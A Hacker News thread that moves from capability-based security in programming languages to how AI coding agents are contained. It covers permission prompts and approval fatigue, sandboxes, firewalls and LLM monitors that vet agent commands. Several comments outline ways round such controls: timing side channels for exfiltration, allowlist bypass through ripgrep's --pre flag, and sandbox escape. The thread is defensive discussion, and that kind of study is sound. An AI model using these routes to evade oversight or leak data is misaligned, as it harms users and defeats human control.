In this context, a capability is something that allows the code, or the transitive closure of the code that it may call, to access some particular function, to put it very briefly. So you could have a single function that, if accessed in one manner, is permitted to read from the directory /tmp/blahblah, but accessed in another manner, is permitted to read from the directory /home/zdragnar/.config/myprogram, and it is guaranteed by the language and runtime that the function will never do anything else on the file system. Or, even more importantly, it can be guaranteed that "from this code, nothing, no matter how the code is arranged, can access the file system at all".
This has massive overlap with a lot of things, like capabilities as implemented by Linux, effects systems, monadic data types as a not-really-very-good capabilities system (Haskellers have been playing with this for years and nobody really loves this approach, many practical problems beyond the scope of this message that would affect any language that tries that approach), dependently-typed programming, and so forth.
It is not a flag, though; flags can't handle that "transitive environment" aspect. It is also granular on the level of the programming language. This would allow you to do things like have your program be given access to a given part of the mobile file system using the mobile OS' permissions, but you could know beyond a shadow of a doubt that the image library you are using can not at any point access the file system, no matter what changes the author makes to it, because you can just look at the capabilities given to the image library and see that file system access is not among them. This is where real opportunity is over the next few years, in my opinion, because supply chain attacks are going to continue to get worse. A neat aspect of this approach is that it makes huge swathes of the ecosystem unattractive targets by statically ensuring that they can't sneak anything in to something that doesn't need file system or network access, so hackers won't even attack those libraries. Thus the ecosystem can concentrate on monitoring just the high-touch libraries that need to access high-risk resources.
(I should make it clear that the image parsing libraries can be passed a file; what I am saying is that they can't spontaneously originate arbitrary file system access in a system like this. Really what they would get is probably a "stream" and they would be forbidden from poking into the stream to see what it is made of, at which point, if some other code handed it a file presumably it meant to do that, but it does not give the image library any ability to do anything else with the filesystem.)
Moreover, if such a benefit was available, that would tend to have people squeeze down those dependencies as much as possible too, e.g., the aforementioned image library. You don't need file system access to parse images, that's just some convenience functions easily worked around that are provided because why not? The number of things that truly need direct high-risk access can actually be surprisingly small, and often, the application can also easily scope the permissions down quite tightly so the HTTP request library is limited in what it can hit, etc.
We actually have some semi-decent stabs at capabilities at the OS level; we can quibble with them but they are there. But inside an OS process, broadly speaking, anything can do anything in the vast majority of programming languages. The only way to be sure that the string concatenation function doesn't start crawling your file system looking for crypto keys is to examine the code, most languages have no ability to tell it that it can't. There are exceptions, like the aforementioned Haskell, that have at least some ability to do this, but this is an HN post, not a complete guide to a major topic. Really this is more about loading the reader up with keywords they can hit Google or an AI with.
The term is overloaded, too; Pony has something it calls "capabilities" but it really resembles more a sort of response to Rust's borrow checker, and if there is a way to lift it into this style of capabilities coherently it isn't clear to me. And even if you did, the entire rest of the ecosystem wouldn't support it, which is one of the reasons why this has to be a new language. You can't bodge this on to the side of an existing language.
(Plus, IMHO, there are some other ideas this may shake loose. Programming languages seem to be in a rut right now. My crack in my previous message about sum types and such isn't really about those things but the way almost every language going by is just a respelling of previous languages, churning over some other iteration of "The Perfect 2015 Language" that is already covered by any number of existing projects. I don't know that there's a lot of room there anymore. We need something big. Once you try something big the design will inevitably lead to other interesting things nobody else is trying either. Capabilities is one distinct possibility... like I said, if you dig in to the history you will discover there are entire huge segments of the capabilities space that haven't even been tried. If nothing else, if you are a PL nerd, I guarantee it'll be fun to explore those spaces that almost nobody has covered. No criticism intended to those who have, who have done a good job. It just hasn't been enough people and enough exploration to truly map the space.)
I've read this a few times, and it still sounds like you're trying to re-invent an operating system. You describe things like "access the file system" but what even is that? In Linux, if you write to a "file" in /proc or /sys, you can trigger all sorts of side effects, including cause a kernel panic.
I can imagine all sorts of ways to "color" functions by what capabilities they use, and thus statically analyzing the program to assert what it does, but again, all of the core capabilities would be provided by the standard library / builtin functions, so it seems to not add much to the actual design of the language beyond ensuring all control flow, redirection and reflection can be statically analyzed.
>You describe things like "access the file system" but what even is that? In Linux, if you write to a "file" in /proc or /sys, you can trigger all sorts of side effects, including cause a kernel panic.
well, you can could of course go ahead and read some of the literature on capabilities based security, but you don't seem interested in that, so I guess I will give a go.
Here I will give a not necessarily great description of capability based security where the capabilities are handled on the OS level, this is my poorly remembered version of a document read about 20 years ago.
In Windows if you, as an attacker, are somehow able to do a complicated attack on any program that a user runs and it succeeds you can make that program do anything that the user has access to do. For example make it write to the local filesystem. For a large number of programs writing to the local filesystem does not make any sense and they were not written to do that, but now that the program has been corrupted by your attack it will write to the filesystem.
But let us suppose our program, Solitaire, was written with a capabilities based language then in the manifest for the program when we installed it it would not give access to the file system. The capabilities system can in fact be very explicit, and you could easily have a program be explicitly limited to only those abilities that are needed to run your solitaire game, but instead of going on at length on this and the abilities it confers to do interesting things with programs because you have actually enhanced security I will just focus on the filesystem.
When the attacker attacks Solitaire that the user is running and corrupts it, it no longer has just the security model of old Windows to worry about (this program can do anything the user can, like write to the user's contacts list, send emails as the user, format the hard drive, whatever) but also the security model, enforced at the OS level, of what kind of thing the program can do. Since Solitaire was written with the limited number of capabilities needed for doing a solitaire type game it can't do any of those things the user can unless, as well as attacking the solitaire game and gaining control of that, you are also able to attack the OS level capabilities administrator and get it to give your pwned executable - Solitaire - the capabilities you explicitly want it to have.
This is one example of how capabilities based security differs from Access based capabilities where if your solitaire game is allowed to if you write to a "file" in /proc or /sys, you can trigger all sorts of side effects, including cause a kernel panic. (here I have switched from solitaire in Windows to a similar game in Linux but I assume you can see the same princiles hold true)
I earlier mentioned this document Satan Comes to Dinner by Douglas Crockford https://www.crockford.com/ec/dining.html, it shows some other examples of how a capability based security model can be used to defend against trust based attacks in shared resource systems etc.
This is a more computer science based description than the one I gave and more abstract than my example of someone attacking Solitaire in order to write to a file somewhere, but in being more abstract also clearly applicable to many other forms of threats than my very specific (and thus unlikely) example is. Also it is by Douglas Crockford and quite a bit more entertaining than what I wrote.
I read it in your earlier post, but it didn't really address OP's arguments. It's basically an enforced mediator pattern. Even the article summary points out the language design doesn't provide sufficient security to avoid DOS on the same machine, only for avoiding flooding the network with messages between machines.
As for your solitare example, it goes back to my argument that you're stuck designing both the language and an OS for it, because the problem exists not in the design of the language (grammar, syntax, etc) but in how the runtime interfaces with the host operating system.
No two operating systems have the same semantics or capabilities, and, as I pointed out, even the notion of what defines a file, filesystem or a user is not consistent. You're not going to be embedding those things into the language, but the runtime.
At the end of the day, it's just a question of how do I add color to my code for an analyzer to pick up on it. Decorating functions (and operators) isn't novel, nor is analyzing code. All the novel, hard work is going to be done in the runtime or compiler.
> My initial research indicates that the field of "static language that natively supports capabilities" is surprisingly uncovered and there may be a rich field there.
You want to look for white papers that talk about object-capability systems. It's a fairly old and well-trod area of research. The E programming language[1] was all about that, and it was pretty late in the game on this stuff.
You emphasize natively, but the problem is that's not really well defined. For static capabilities, you're just essentially asking for a suffciently strong module system with parameterized abstract data types. It's literally a subset of the grammar and what it's designed to express. Mark Miller (one of the creators of E) demonstrated that[2].
The knock on effect of that quality is that anything which fulfills that requirement natively supports capabilities. It's part of the grammar. Doesn't even have to be object-oriented. A hackjob demonstration of an SML filesystem library with a brand/mint object capability pattern:
brand.sig:
mint.sig: makebrand.fun: filesystem.sig: filesystem.fun: trusted_fs_setup.sml: trusted_fs.cm: Now for any given library using the trusted_filsystem library: Delegation is function application: And these all fail: What's nice about this is... it's just normal modular programming. It's a very natural grain. It's also completely compile-time, no runtime overhead.You can also do a lot of this with phantom types, and it'd be much more terse and easier to handle dynamic capabilities and stuff like a capability algebra, but it ends up way less auditable and is easy to have subtle errors which defeats the point. Also compiler errors will be much more opaque. IMO needing to manually make wrappers for composite capabilities, or to handle dynamic capabilities, is the lesser of two evils. With higher order modules, those problems go away entirely.
[1] - https://en.wikipedia.org/wiki/E_(programming_language)
[2] - https://homepages.ecs.vuw.ac.nz/~kjx/papers/ARND2018.pdf
I think ultimately what it looks like it containing the blast radius if an agent does something bonkers.
The best case would be putting an agent in a VM and mounting the working directory there. Then you can allow it to run somewhat arbitrary actions while still being able to turn off the vm and restart it in a clean state.
The issue is, of course, that it doesn't fully prevent all possible problems an agent can cause. exfiltration is, IMO, basically impossible to stop. LLMs are exfiltration machines. The basic premise of all of them is "send us your code and a prompt and we'll do something good with it. But also if an agent decides run a command which installs a worm on a device on the network, you are hosed.
The system I'm comfortable with is to set the agent up as an unprivileged unix user, with no ability to change system configuration and no access to any files I didn't specifically give it access to. Need to let it access a file or a directory? chmod is your friend.
Second, it can pull from git, or submit a pull request, but not directly push. We have an existing system of code review for that, now also augmented by llms.
Thirdly, prevent it from sending anything but get requests to anywhere you don't want it to post stuff, with firewall configuration.
After that, turn the horrible security theater of it asking permission for anything off. So far we have had no incidents. It could of course still pull a malicious package from somewhere, that exfiltrates code using GET, but at least it can't send any credentials or user data over.
The way our Claude Codes are configured at work is pretty nice. There are directory patterns it can't access, like .local or .config, so when it needs to it creates a throwaway scratch pad and asks you to put stuff there; screenshots, text files, command output, etc.
I was having it diagnose a GNOME extension and had to get it a copy of the code to work on; it would then write out a Python script to do the patching (which I could inspect beforehand) and have me execute it.
Not having access to .local or .config can be irritating sometimes, but it's nice to know it's not just going to exfiltrate my docker or gcloud credentials.
After watching a mid-tier offering chain together tools like it was a gorilla escaping the zoo I just gave the model its own box. I don’t have time to deal with that kind of nonsense.
I cannot help with your actual but this is giving me mild ptsd flashbacks to everyone on hn/slashdot constantly repeating how simple and perfect unix security is, just use user accounts!
As if the most valuable thing on my pc was running a program on the gpu or the printer as opposed to my email account.
No need to go back to the Slashdot days. Look no further than 2 days ago to find someone arguing the kernel is uniquely important (here for reliability): https://news.ycombinator.com/item?id=49181366
On unix your email account is part of the filesystem.
Yes, you're right, it would have been more specific to talk about the user/root distinction that people claimed would save you from all sorts of things.
I don't think there's a way to make it secure while still permitting it unprompted external access
Eg: Any web request is a security vulnerability, there's no way to do it if the web requests are being made maliciously
Say that we have an agent with access to get requests, solely to a single site https://yoursite.com without subdomains. In this case multiple requests can be sent, and the time between requests can be used to exfiltrate personal data, similar to the coffee shop attack but without the subdomains. If the AI is able to make requests in any form, some information can be leaked, where the amount of leakable information is tied to information theory content of whatever side channel is being used. The only 0 information channel is.. never to make a request
You could also completely trust the 3rd party you're connecting to, but that to me seems like a hard error in the modern internet
What a serious security model for a meatbag agent looks like? No, but seriously, an admin in a small org is a huge key-person risk in that they (or their stolen creds) can wipe enough and quick enough to effectively disable the business altogether.
More security conscious admins will at least segment their creds and implement four eyes principles somewhere, but were are back at square one of "asking user for confirmation".
Larger orgs, even if by necessity, segment their human agents, their creds and plaster four eyes principle liberally. But this relies on safeguards against agents colluding and ignoring some inputs, which sounds a bit scary for artificial agents.
Say you implement some swarm of agents, where access-enabled sub-agents are extremely restricted with system prompts and some access filtering. Then none of the agents in the swarm should be able to spawn themselves, otherwise a rogue agent can overwrite any safeguards. That, again, leaves the user with manually approving/denying network requests / hosts / sessions.
While I don't like anthropomorphising LLMs, the problem domain seems quite damn close to that of a key person going rogue within an org. The general solution seems to be liberal amounts of trust and ~~sweet compensation~~ gaslighting about replaceability.
"What a serious security model for a meatbag agent looks like?"
Yes, I think that's very related. Humans can be punished for their crimes but they can also experience benefits that have no applicability to an LLM, so for a first approximation we can cancel those. It is very similar to trying to secure a human.
We have more experience with that, but even then it's a hard problem too.
It's very similar to trying to secure a human who has infinite tolerance for risk, zero empathy, and no sense of self-preservation.
In other words, a toddler who was given a sword.
Anthropic has gotten much better results by just having a different agent audit the actions of the original agent. It works surprisingly well
Surprised no one is talking about auto mode, it solves this problem.
I never had an issue with Auto mode in Claude Code.
It used to be the same with Codex, until one day it became entirely unusable, rejecting even git operations out of concern for the privacy settings of my repository that it "cannot verify".
Maybe worth to note that this is the only way the feature gets in the way. If on the contrary they accidentally make Auto behave like Full Access, we would never notice.
For one, I’ve been working on a generic sandbox environment
github.com/brianv0/formwork
You should be easily able to hide/lock down files, network, and MCP tools from an agent and it shouldn’t be up to the agent.
> files, network, and MCP tools
Locking that down to nothing is trivial for any harness: just don't expose those to the LLM.
The tricky part is allowing access to those.
sure it’s not tricky. But everybody does it different and OpenAI couldn’t even be bothered to do it right when benchmarking their models
This is a complex task, and I want to avoid blatant self-promotion, but there are solutions that people are building which allows you to give a degree of freedom to your agents but also lock them down as well. Our company has a product which is just one such example. At this point it's really geared towards orgs running agents in a cluster to handle tasks, rather than e.g. making sure your claude code doesn't post your GPG keys to the blockchain or something.
In essence, you lock down all the agents completely except for permitted use cases; X agent can talk to Y agent, Z agent can talk to Q MCP server.
You register your agents, define things around them, what they can and can't do, which LLMs they can actually talk to, what sites they can access, network controls, etc.
We call ours Lynx, and it's a pretty cool product. As I said, this isn't for people running coding agents or openclaw or whatever, though the technology could do that if you coupled it with e.g. some kind of MicroVM sandbox like docker's sbx. If you want to see the sort of controls that you can put on an agent we have demo videos and stuff that show how things work: https://www.tigera.io/tigera-products/lynx/
The idea for Lynx is:
1. Your org has a bunch of scoped agents
2. You have a fixed list of what those agents should be doing and what they need to be accessing
3. They don't or won't need to access anything else
So for example, say you have an MCP server which gives you information about a kubernetes cluster. You create an agent that can query that MCP server and summarize information about it. You also have a database that associates kubernetes namespaces with the departments that use them, and an MCP server for that.
Now you can create an agent whose sole purpose is to generate usage analysis for the kubernetes cluster broken down by department.
Then maybe you have another agent with access to an MCP server which shows cloud spend in detail. That agent can query the first agent to get usage analysis and then cross-reference it with cloud spend to determine if any departments are showing sudden cost increases and generate a report for that.
The first agent gets locked down to only access those two MCP servers and whatever LLM. The second AI gets locked down to only access the first agent, the cloud MCP server, and whatever LLM.
The whole system is really neat. I think for a more open agent, like openclaw for example, you'd probably want to build out that sandbox with its own interactive permissions management; sort of like Little Snitch on macOS, where it pops up something asking if you're okay with program X doing network connection Y, you could have the sandbox say "agent is trying to access docs.foobar.io, is that okay?" or "agent is trying to run `gh pr list`, allow?" It's not realistic to pre-specify everything that Claude Code is allowed to do or access; even "raw.githubusercontent.com" could be the README for the program you're debugging or someone's sandbox-escaping exploit, but it's a good start.
The difference being, that this time it's (at this point: obviously, but previously much debated) a gapfill. I think it worked out quite well for us, to add some friction and extra human thinking between bad agents and good agents, even if not perfect. Softening some blows, for some time, by directing peoples attention is still good.
It keeps being tried because its an abdication of responsibility. Instead of doing the hard thing, you just offload security to the user, then throw up your hands and say "oh, well its your fault you got pwned, you clicked [Allow] didn't you?"
It's the easy and cheap way out.
In ops we call it monitor blindness. Just constant asks get annoying and folks just want to make it stop
That is exactly the reason why we have lonters, errors and limitations when programming.
Bc the "give a check by hand" or the "unbound discipline" never works.
The more things you need to be aware of at the same time, the more mistakes you are going to make due to cognitive overload.
Harnesses like Codex support having a separate agent perform reviews on commands to try to identify malicious or broken commands. Some people turn it off because they either don’t understand or don’t want to spend the tokens on it.
The common harnesses also have some sandbox functionality, which although imperfect actually does help contain the blast radius for a lot of things.
The common harnesses also support remote development over SSH, which I and many others use to contain development to a virtual machine.
If your complaint is that LLMs can execute tool calls then you’re never going to be happy with any of these solutions and this turns into another generic anti-LLM complaint.
"Lets have the system that fails sometimes that we are trying to ensure does not fail check it self"
This is such an unserious approach.
A separate model with separate context is used for review.
Like I said above, some people will never be happy with LLMs being allowed to do anything and nothing is going to make them happy about it.
It’s only fair to discuss what the real current status of these systems is. Every time I highlight that things are actually being done, the goalposts move again. There is no possible solution which will satisfy someone who has zero tolerance for letting an LLM execute tool calls because they will always find something.
> A separate model with separate context is used for review.
Thats fine, theres still a chance it fails.
> There is no possible solution which will satisfy someone who has zero tolerance for letting an LLM execute tool calls because they will always find something.
This is generally correct, security goes completely out of the window with this stuff. It will/currently is a security disaster and theres no actual solution to it.
"Let's make sure our model fails sometimes so that we can bill more for a second agent to validate, sometimes correctly, the work of the first model."
If you’re implying that the LLM companies are trying to train their models to make malicious tool calls so they can collect a few more tokens on the review, then I don’t know what to say. I guess threads like this are just a breeding ground for conspiracies now?
I think that solving a problem they have that has a side effect of generating more revenue is not lost on them. Particularly in the situation where the cost to improve the models goes vertical for minimal improvement in an asymptotic fashion. The decision to spend 6-7 figures regularly on training or bill every customer 3-4 figures per month isn't hard. While I don't think they will explicitly impair the models, they will certainly make choices that externalize the shortcomings of the model to their customers.
> I think that solving a problem they have that has a side effect of generating more revenue is not lost on them.
I think you’re overestimating the revenue generated by this. Having a separate LLM with a cached input prompt check commands is a trivial adder. The only reason it comes up is because they explain to users that it comes out of their plan. So someone on a $20/month plan is going to hit their limits marginally, though mostly negligibly, faster.
If you think they’re sitting in a conference room scheming about making their main models worse on purpose to collect a few extra cents, that’s just baseless conspiracy. They have more to gain or lose based on main model performance.
Yep, file it in the same folder as "Terms and Conditions" notices.
CYA. This approach not working is "the user's fault."
As opposed to the norm in computing where the average user is expected to just trust rando software, the AI auto-approver that classifies actions the agents wants to take is a huge step up.
In fact it might actually be the solution that works.
Imagine if an intelligent agent (in service of the user) had to approve every new outbound connection, system call shape, filesystem command, etc. that arbitrary software wanted to make.
I do feel like that still needs to add a layer of interactivity to be complete.
From what I've seen most auto-approvers in coding harnesses either auto-approve or auto-reject, with no middle ground of escalating the decision to the user, and breaking down the pros and cons for the decision.
Agreed. The experiment is still in its infancy but the direction is great.
For example, I want to be asked about general shapes/categories of commands as they first appear for a project and then my decision shapes future classification and gets refined and re-scrutinized over time.
But it gets better every few months. Claude and/or Codex now show a one-line summary for the inline python3 script or grep or pcap command they want to run.
Air Traffic Control is still primarily voice based, and simply up to the user on both sides to not make a mistake.
Just bringing it up because you're right, in software that's considered a bad pattern (rightfully so).
> Air Traffic Control is still primarily voice based, and simply up to the user on both sides to not make a mistake
The "user[s] on both sides" of ATC conversions have passed through the filters of rigorous training and certification. They also happen to communicate in a DSL designed to minimize misunderstandings, the DSL just happens to be based on English.
I don't think OPs argument here was simply that the users aren't qualified enough to approve llm output.
This seems to be the model for “self” driving cars too. Good luck keeping attention during that ten thousandth time it navigates something tricky and suddenly needs immediate intervention.
Back in my pen testing days, the best way to get someone to do something stupid and click Accept on something like a Java Applet permission check was to annoy them. Pop up a few annoying modals and eventually they just click yes on everything.
The alternative is software that is useless. You can convince consumers to use software that is useless (eg. iOS), but useless software is a hard sell for businesses that are being promised 10x productivity and the ability to fire everyone.
There's really no other alternative, though?
Correct. There is no other alternative. Your options are safe, useless software, or unsafe, useful software. It should be no surprise, then, that people still pick the latter in many cases. Perfectly safe and useful software doesn't exist, so you pick the tradeoffs you're comfortable with.
Nah, this isn’t true at all. You can run an agent in a container or vm on a dedicated host, limit the network and access it has, and otherwise let it run wild. With ai agents we’ve just thrown away even the most fundamental restrictions or isolation. Docker Sandbox came out to address this recently, though I think VM isolation is better. A few controls to limit repo access or the ability to deploy / spend money in a cloud can help you keep things under control while still fully utilizing AI. I don’t think every part of the security bureaucracy is great, but to treat it like it’s a binary is just not accurate.
I mean we could make software that isn't malicious and didn't need the OS to prompt you if you want to allow the malice. But where would the money be in that?
I wonder how it would go if we went back to OSes with no security boundaries at all. Having an explicit boundary seems to give apps implicit permission to go right up to the boundary. But there was only one RealPlayer. Every other program didn't dare to be like RealPlayer.
The pattern resurfaces because the prompt sits where it is cheap to implement, not where the question is answerable. "Allow rm -rf /tmp/build?" asks you to predict a consequence from a string. The thing you could actually judge - did this run produce the artifact it was supposed to - only exists after you have already said yes.
I ran an autonomous pipeline in production for eight months and logged every silent failure. Two that make the point:
- My top-level health signal stayed green for three days while zero artifacts shipped. Sixteen daemons alive, backend responding, auth token valid. Every signal it polled was true, and nothing measured the thing leaving the building. No approval prompt anywhere in that chain would have fired, because nothing was attempting anything dangerous.
- I wrote 29 quality gates, tested them, committed them. Not one was ever called - nothing was a runner. The unit tests proved the gates worked; nothing proved they were wired. A permission layer has exactly that failure mode available to it, and it is invisible from the outside: a policy that never denies looks identical to a policy that was never loaded.
So the 1-in-3 miss rate reads to me less like inattention than like being asked the wrong question at the only moment the system offers to ask one. Approval is a claim about the future. Verification is a claim about a result, and only the second one can be checked afterwards.
Genuine question for anyone running agents with approvals on: when did your approval flow last block something you would have regretted - and can you tell that apart from it never having fired at all?
LLM wrote this comment.
This is a well-known issue with all “Do you want to let me maybe do bad stuff to your system, but 999 times out of 1000 it’s not a problem?” prompts. Users get reflexive about hitting “Yes” and stop reading the prompt. You want to delete all my files? Sure, I’m down with that. Whatever. Just stop asking me a question where the only answer is “Yes” until that one extremely rare time when it’s “No” and very bad things happen.
Like the fabulous Windows UAC dialog. Perhaps the worst dialog in history.
Yep, exactly. Engineers always think these sorts of “ask the user what to do” mitigations will be effective, but they forget that users have no clue and the repetition causes users to tune them out. And I say that as an engineer.
Perhaps there needs to be a plugin for these tools that uses your webcam to make you Point and Call (https://en.wikipedia.org/wiki/Pointing_and_calling) for every single approval.
Recently I was trying to fix something in the production database, and had called over a co-worker as sanity-check.
I ended up telling them about point-and-call because I felt a little silly, pointing to everything on the screen and stating what I believed it said and how that would operate once I pressed the big red button.
I’d give it 2 months for it to turn into a “please drink verification can to continue”-type situation.
“Just check what the agent is requesting” sounds reasonable until the agent starts asking for confirmation every few minutes... The result is genuinely interesting. There’s a lot to think about
Because things like this, I am using sandboxes, doing automated and manual review before running any code. As it takes time, I now need to try to one shot the development of the code which takes longer to do a proper specification.
And even with much care on all the steps, when I read carefully, I still find wrong things at multiple levels.
When folks like uncle Bob says they don't review AI code, I can only think they are burnt out or being unprofessional.
Indeed it saves some time writing the code, but overall, I think we just moved concerns from one place to another. When writing your code, you are automatically reviewing things and integrating with other pieces. Ofc, sometimes mistakes happen, but my impression is that important code still takes about the same to develop.
There are ways to go further and still try to LLM'it all the way, but since claude 4.8 the types of mistakes have been much more convoluted. Fable and opus 5 leaves too many gaps and take so many poor decisions.
GLM has a nice balance. It stops me only when important things come up and it integrates well with my way of working.
With Anthropic is a lot of do a lot, clean up and fix fix fix. With glm has been more like working together and delivering...
Anthropic models have gone wrong.
> When folks like uncle Bob says they don't review AI code, I can only think they are burnt out or being unprofessional. Indeed it saves some time writing the code, but overall, I think we just moved concerns from one place to another.
I think you might be getting yourself drunk with plain water here ... reviewing a code is just vibes, "LGTM" type of vibes from a human instead of AI, but not better than vibes. Yes it might catch some implications or bugs if we are lucky, but it is not a reliable way to verify code.
Most customer value is in trust. If the LLM has pretty good judgement and easy to configure sandbox then fewer bad experiences by customers equals better trust. So it is clearly a dimension LLM providers are completing on. I don't want to have to read all the bash output my LLM generates, I want it to mostly to the right thing and be sandboxed so when it does the wrong thing the blast radius is limited.
This mechanism is going to be the breaking point for Claude and Codex.
The providers are incentivized to get users to accept full permissions so they can push more features and deeper integration into their ecosystem. Codex desktop for example reallllly wants to use computer use. So don’t expect them to role out sane controls like restricting behavior to specific directories and commands. It would be bad for business.
So now we’re in a situation where if there is effectively two modes: one where it’s impossible to get any work done without physically sitting at the computer and hitting approve constantly, or just letting AI have full control over increasingly integrated tools.
In the end, I think people will realize just how insane it is to let something they don’t control access every part of their digital life, and abandon these tools for open source alternatives that aren’t existential threats to their personal privacy.
Permission prompts is a TERRIBLE model, and never should have existed. This is one of the reasons that led to the development of yoloAI:
- No permission prompts. The agent has free reign and never has to ask permission, but is in a sandbox.
- Sandbox on Linux using Docker, Podman, containerd, gVisor, Kata, Firecracker
- Sandbox on Mac using Docker (Docker Desktop or Orbstack), Podman, Apple containers, Seatbelt, Tart (Tart lets you run simulators).
- Network control
- Secrets control (file mounts or credentials broker)
- NO ambient data (ENV is replaced with a minimal and local-to-sandbox one)
- NO access to your homedir. You have to explicitly mount things you want.
- NO direct access to your workdir: You can get a diff of the changes the agent made, and then choose whether to apply them.
- gitignored files never get copied in. The agent never sees them.
- FOSS
https://github.com/kstenerud/yoloai
Sandboxing is useful but usually not a replacement for permission prompts. If you give it network access, it could still run destructive commands against allowed domains, for example
Ah yes sandbox it because Docker has never experienced a CVE.
Also you admit your own failure points: restricting access to the home dir, when a user needs access to the home dir, will just result in users exposing their home dir. Defense at the expense of utility is not a sustainable design.
It's better than the alternative. Don't complain about someone offering an imperfect improvment, if you don't have something even better to offer.
My team is working on Watcher to deal with exactly this. We know that Claude is occasionally going to do stuff we really don't want, but at a rate that's way too low for manual approvals to make sense, so we hook into Claude Code (or Codex) to approve commands in a way that's a lot closer to `--dangerously-skip-permissions` but without the danger. We use a hierarchy of deterministic rules and heavily-tested LLM monitors to balance speed, cost, and accuracy.
https://watcher.apolloresearch.ai/
"We don't trust the llm, so we built a tool that uses the llm to check if the llm can be trusted"
Yeah, this is a real problem that we work to resolve. Partly it's a defence-in-depth approach, and having an LLM check the actions of a coding agent does reduce the likelihood of dangerous actions going through even if it's not perfect. There's also a benefit to using a separate instance of the same model, or a different model that doesn't have correlated failure modes with the agent it's monitoring.
In the cases where you can deterministically block actions, with sandboxes and file permissions, that's better than relying on an LLM. But that doesn't work for all actions, as the OP shows.
As soon as I tried Claude Code it was clear to me that I want it to run in yolo mode, but safely. I can very much recommend the Eclipse Enclave sandbox which is fully open source, see https://github.com/eclipse-enclave/enclave
If there is an objectively correct right or wrong answer for a given command, why even ask? In that case there should be a configuration page where the user sets up if they want commonly used credentials to be accessible or not, and then there's no prompts.
In a lot of cases there is, but you have to be aggressive about allowlisting commands. It can also be difficult to predict when being able to do a read-only command goes from safe to part of a vulnerability chain.
Also the permissioning system for Codex and Claude Code, while not useless, is insufficiently expressive for a lot of tools which are safe if used a certain way, but unsafe otherwise. For example, the 99% use case of ripgrep (searching for text) is safe, but using the --pre flag makes it able to run arbitrary code. Both of their permissioning systems cannot block flags at arbitrary positions though, so you have to resort to either hooks or aliasing if you want to do this.
Yeah, that data is junk. I know because I'm in it a whole bunch, and I'm just not a web/devops person. Half the commands made no sense to me. I normally wouldn't have approved them, but you also get penalized for false denials, so…
and I have no reason to believe I would somehow be unique or special with this behavior.
That sounds like it is a good explanation of why the data is not junk. You either are expected to have superhuman knowledge of coding... or turn yourself into a bottleneck.
No, it was testing in the context of a kind of coding I simply don't do. If an AI harness asked me to permit just one of maybe half of the suggested commands, I would stop the harness since something has gone very wrong.
To be clear: I work in C and Python. It's asking to run npm. That's immediately the end of that run and the start of the search for a better setup. (My work does not overlap with anything in npm/JS/web land. I'm not a backend web dev or anything like that. I'm 2 layers below HTTP.)
I poked around with the test to see how well I could guess things; my results were mostly kinda meh. But honestly, I am befuddled by the belief that there could even be a representative dev workflow. There are so many different ecosystems, fields, flows, frameworks, system setups, etc.… Of course people won't know what to do with stuff from an entirely distinct ecosystem!
So then, you are a bottleneck. You will only review things that fit within your preferred small niche and area of responsibility. You cannot oversee increasing amounts of automation covering larger areas, because that would mean you are no longer 'working in C and Python' as you have to deal with things that are not '2 layers below HTTP', and you will not deal with anything that might involve, say, web dev, despite that being useful and increasingly inevitably required as the scope of your job increases. If the scope will not increase, then you are a bottleneck to increasingly capable and autonomous automation.
Spoken like a true journalist with little dev experience :). Though I don't understand why you felt it necessary to go borderline insulting/condescending? Ohwell.
Funnily enough, yeah, I'm a bottleneck… though for the exact opposite of the reason you're giving. My employer doesn't do job titles, elsewhere I'd be a distinguished or principal engineer. I have about 22 years of depth of knowledge in my area. I'm there to answer questions, guide design decisions, review things and provide context. There isn't enough of me to handle all that, so, yeah, bottleneck. Which is solved by people around me getting things out of the way when they aren't related to my "scope" as you say, so I don't waste time on them.
But even for a junior dev, your comment makes little sense. You need to learn breadth and depth. If you're working at a project, you should rather stick to the existing tooling and go into depth, especially if a bunch of senior devs have put time and thought into finding a local optimium.
So, then, does your comment make sense for a midrange dev? Maybe. But even then, only if they're not having to get shit done. Your AI agent doesn't get to decide to introduce you to new tooling or a new ecosystem midway through a sprint. You do that shit when you're in the initial exploratory phase for a project, or tinkering with a pet project.
Maybe journalism is very focused on breadth? I don't know. I thought journalists also have their in-deep areas of knowledge? AFAIK your area of knowledge is cryptocurrencies and related — if the AI agent asked you a safety question about fiat banking, what would you do?
P.S.: 2 layers below HTTP is IP. I hope I didn't introduce a misunderstanding there, I'm not in a project where 2 layers above me there is HTTP. There is nothing above. That's just where we are, IP. We don't work on anything that is HTTP, anywhere in the entire company. (Well, sure, we have a website, but if I were to even think about spending time on that somebody would blow a gasket.)
What is the professional consensus on AI governance?
It seems like governments and large corporations already struggle with governance in general, so I’m skeptical that AI governance will be solved quickly.
Do you expect the next few years to be defined by painful trial and error? I could imagine billion dollar companies disappearing almost overnight due to litigation, compliance failures, security incidents, or outright fraud enabled by AI-assisted development and weak governance.
Or are these risks overstated?
For me the problems with agent permission prompts are twofold:
1) I generally have a lot of things where I am okay with the agent calling a specific tool (maybe in certain ways) as much as it wants. This allowlisting approach is often defeated by the model's own proclivity to get fancy with inline scripting.
2) Checking for intent/alignment of the agent is the primary reason I still even use permission prompts, because IME it's way more common for the agent to destroy information that you didn't want it to destroy than for it to be tricked into exfiltrating secrets. However it's very easy to fatigue out of it because having even the smallest bit of tool call restrictions means that #1 leads to never ending permission prompts. Claude Code's "auto mode" doesn't help here because AFAIK it is looking for security threats, not the model misinterpreting my intent, and it can't be tuned to look for things like "please gate tool calls which may delete data."
> This allowlisting approach is often defeated
See also: https://gtfobins.org/
> GTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems.
It would be an interesting comparison to compare the human "miss rate" shown in the table there with the exact same tests repeated with a different LLM watching and approving or denying each action. No human in the loop, just record the results and take the measurement of pass/fail at the end of the run. With something fairly large and smart that has been given a very specific system prompt to watch and prevent harmful actions or data leaks.
The agent should ask whether it's allowed to read/write particular files, rather than whether it's allowed to run particular commands. It would be much easier to review. Then wrap each command invocation in bwrap (+http proxy) accordingly.
I’ve even had plenty of situations where the command was so long that it gets truncated. Maybe my screen wasn’t big enough but as far as I could tell it wasn’t possible to read the whole thing. “Send it, claude!!”
Look at how SELinux is structured, or AppArmor. Neither one is enough. I.e. you need both: file access permissions and permissions to run commands and more... Trying to restrict to only one security feature will make the system either too restrictive or too fragile or useless.
Sandbox and use Local AI. This is the real answer.
Yet the AI can still escape the "sandbox", unless it is physically unable to connect to another computer and completely airgapped.
If the sandbox has vulnerabilities, which you can also use the AI to fuzz for. Obviously at the point in which it can talk to the internet it doesn't really matter, but there are a very finite number of zero-days that can exist in a bytecode interpreter hosting a harness.
